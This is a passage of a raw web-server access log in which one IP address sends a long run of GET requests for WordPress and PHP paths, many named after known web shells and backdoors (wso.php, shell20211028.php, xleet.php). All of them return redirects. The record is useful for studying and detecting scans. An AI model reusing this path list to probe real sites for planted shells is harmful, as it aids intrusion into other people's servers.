-0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:52 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:54 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:56 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:57 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:59 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:01 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:02 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:05 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:08 -0400] "GET /wp-includes/blocks/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:11 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:15 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:19 -0400] "GET /wp-content/plugins/awesome-coming-soon/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:21 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:24 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:29 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:32 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:37 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:46 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:59:55 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:07 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:17 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:25 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:30 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:32 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:38 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:43 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:46 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:50 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:52 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:02:56 -0400] "GET /images/IMG_contenidos/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:05 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:09 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:11 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:13 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:18 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:24 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:30 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:37 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:41 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:44 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:48 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:57 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:03:59 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:03 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:07 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:11 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:18 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:24 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:28 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:34 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:39 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:43 -0400] "GET /wp-content/plugins/sem-wysiwyg/fckeditor/editor/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:49 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:53 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:56 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:04:59 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:05 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:09 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:15 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:18 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:21 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:24 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:27 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:30 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:33 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:35 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:37 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:00:57 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:06 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:13 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:20 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:29 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:36 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:46 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:01:57 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:02:06 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:02:16 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:02:29 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:02:45 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:40 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:42 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:45 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:48 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:51 -0400] "GET /wp-content/plugins/zlzwssi/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:55 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:05:58 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:01 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:04 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:07 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:09 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:11 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:15 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:17 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:21 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:25 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:30 -0400] "GET /plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:34 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:39 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:45 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:50 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:53 -0400] "GET /wp-includes/ID3/51Sge/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:57 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:06:59 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:01 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:04 -0400] "GET /wp/wp-content/plugins/w695elkq/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:07 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:10 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:16 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:22 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:26 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:29 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:33 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:37 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:41 -0400] "GET /.github/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:45 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:48 -0400] "GET /en.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:50 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:54 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:07:59 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:04 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:12 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:21 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:28 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:36 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:44 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:08:51 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:00 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:07 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:17 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:26 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:33 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:38 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:47 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:09:54 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:07 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:13 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:19 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:26 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:32 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:36 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:38 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:41 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:45 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:48 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:52 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:10:58 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:06 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:10 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:13 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:16 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:19 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:24 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:33 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:40 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:47 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:52 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:11:56 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:00 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:03 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:11 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:20 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:30 -0400] "GET /wp-includes/ID3/51Sge/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:45 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:12:59 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:13:18 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:13:31 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:13:42 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:13:49 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:00 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:08 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:14 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:25 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:34 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:43 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:14:56 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:15:08 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:15:18 -0400] "GET /s/Text/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:15:33 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:15:48 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:16:04 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:16:21 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:16:33 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:16:45 -0400] "GET /wp-content/plugins/thrive-visual-editor/inc/backbone/controls/lead-generation/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:16:54 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:16 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:24 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:31 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:39 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:47 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:57 -0400] "GET /debug.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:08 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:18 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:24 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:28 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:32 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:03 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:10 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:18 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:26 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:33 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:38 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:47 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:52 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:17:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:05 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:13 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:21 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:28 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:36 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:44 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:51 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:18:56 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:00 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:06 -0400] "GET /wp-content/plugins/wcrkfqy/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:19:11 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:36 -0400] "GET /wp-content/plugins/wp-db-ajax-made/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:40 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:44 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:49 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:20:54 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:01 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:08 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:14 -0400] "GET 